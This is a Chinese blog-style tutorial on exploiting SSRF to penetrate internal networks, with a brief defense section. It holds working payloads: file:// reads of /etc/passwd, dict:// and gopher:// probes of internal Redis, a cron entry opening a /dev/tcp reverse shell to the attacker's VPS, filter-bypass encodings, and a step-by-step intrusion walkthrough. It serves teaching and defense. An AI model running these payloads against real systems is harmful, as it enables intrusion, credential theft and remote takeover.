SSRF漏洞如何进行内网渗透?从原理到实战,一文讲透!

在网络安全的世界里,SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一个极具威胁的漏洞类型。它不仅是渗透测试中的“常客”,更是攻击者突破外网防线、深入内网的“跳板”。今天,就带你深入剖析 SSRF如何被用于内网渗透,从漏洞原理、利用手法到实战技巧,全程干货,助你构建更安全的数字世界。

SSRF漏洞如何进行内网渗透?从原理到实战,一文讲透!

🔍 本文适合对象:网络安全初学者、渗透测试爱好者、开发运维人员
阅读收获:掌握SSRF核心原理、学会常见攻击手法、了解防御策略


什么是SSRF?为什么它能“穿透”内网?

1.1 SSRF漏洞定义

SSRF(服务器端请求伪造)是一种安全漏洞,攻击者通过操控存在缺陷的Web应用,使其向内网或本地系统发起任意网络请求。由于请求是由服务器自身发出的,因此可以绕过防火墙等外网访问限制,直接访问那些“外网无法触及”的内部服务。

📌 形象比喻
想象你(攻击者)无法进入公司内网,但你让公司前台(存在漏洞的服务器)帮你去内网各部门(内网服务)取文件。前台有权限进入,而你通过“指令”操控前台,从而获取了本不该你能看到的信息。

1.2 SSRF形成原因

  • Web应用提供了“获取外部资源”功能(如:加载图片、抓取网页、下载文件)。

  • 后端代码未对用户输入的目标URL进行严格校验和过滤。

  • 使用了如 file_get_contents()curl_exec()fsockopen() 等危险函数,且参数可控。


SSRF如何实现内网渗透?四大攻击手法详解

一旦发现SSRF漏洞,攻击者便可将其作为跳板,逐步深入内网。以下是常见的攻击路径:

攻击手法一:读取本地敏感文件(File协议)

利用 file:// 伪协议,SSRF可以直接读取服务器本地文件,获取系统配置、密码等敏感信息。

# 读取Linux系统密码文件
?url=file:///etc/passwd

# 读取Windows系统hosts文件
?url=file://C:/Windows/System32/drivers/etc/hosts

# 获取网络配置(判断内网拓扑)
?url=file:///proc/net/arp
?url=file:///etc/network/interfaces

📌 实战意义
通过读取 /proc/net/arp 或路由表,可获取内网IP段信息,为后续端口扫描和横向移动提供情报支持。


攻击手法二:内网端口扫描与服务探测

SSRF可用来探测内网开放的端口和服务,常见的协议包括:

  • HTTP/HTTPS:探测内网Web服务(如:管理后台、API接口)

  • DICT:探测开放端口(如:dict://127.0.0.1:3306

  • Gopher:支持多种协议,功能强大

# 探测MySQL服务是否开启
?url=http://192.168.1.100:3306

# 探测Redis服务
?url=dict://192.168.1.101:6379/info

📌 技巧
使用Burp Suite的Intruder模块,配合IP和端口字典进行批量爆破,快速绘制内网资产地图。


攻击手法三:攻击内网Redis服务(高危案例)

Redis常部署于内网且默认无密码,是SSRF攻击的“黄金目标”。攻击者可利用SSRF写入SSH公钥、计划任务,甚至反弹Shell。

步骤1:探测Redis服务

?url=dict://192.168.1.101:6379/info

步骤2:利用Gopher协议写入计划任务反弹Shell

Redis命令需用 %0d%0a(\r\n)分隔,再进行URL编码:

# 原始Redis命令
set 1 "\n\n\n\n* * * * * /bin/bash -i >& /dev/tcp/你的VPS/4444 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

使用工具 Gopherus 自动生成Gopher payload:

gopherus --exploit redis

最终请求:

?url=gopher://192.168.1.101:6379/_A1%250D%250A%248%250D%250Aflushall...

结果:成功获取内网服务器权限,实现“从外网到内网”的完全控制。


攻击手法四:绕过WAF与过滤机制

许多系统会对 127.0.0.1localhost 等关键词进行过滤。攻击者可通过以下方式绕过:

绕过方式示例
IP地址缩写127.1 代替 127.0.0.1
十六进制/八进制0x7f0000010177.0.0.1
URL双重编码%2566%2569%256c%2565 → file
@符号绕过http://attacker.com@127.0.0.1

真实渗透流程复现(简化版)

假设目标存在SSRF漏洞,流程如下:

  1. 确认漏洞?url=http://your-vps.com,观察是否收到请求。

  2. 读取本地文件?url=file:///etc/passwd,确认权限。

  3. 探测内网IP段:读取 /proc/net/arp 获取内网主机。

  4. 端口扫描:使用Burp爆破 192.168.1.1-254:1-65535

  5. 发现Redis服务?url=dict://192.168.1.101:6379/info

  6. 生成Gopher payload:利用工具构造反弹Shell命令。

  7. 发送攻击请求:通过SSRF触发,获取内网Shell。


如何防御SSRF?企业必知的修复建议

  1. 白名单校验:只允许访问特定域名或IP。

  2. 禁用危险协议:禁止 file://gopher://dict:// 等。

  3. 限制端口范围:仅允许80、443等常规Web端口。

  4. 使用DNS重绑定防护:防止通过动态DNS绕过IP限制。

  5. 隐藏敏感信息:避免在响应中返回完整请求结果。

  6. 部署WAF规则:拦截包含 file://gopher:// 的请求。


写在最后:安全是持续的过程

SSRF漏洞看似简单,却能引发“蝴蝶效应”,导致整个内网沦陷。无论是开发者还是安全人员,都应高度重视此类漏洞。

🛡️ 温馨提醒
学习渗透技术的目的是为了更好地防御。请遵守《网络安全法》及相关法律法规,未经授权的渗透测试属于违法行为


📢 如果你觉得这篇文章对你有帮助,欢迎点赞、收藏、分享!关注我,获取更多硬核数码安全知识!

发表评论

评论列表

还没有评论,快来说点什么吧~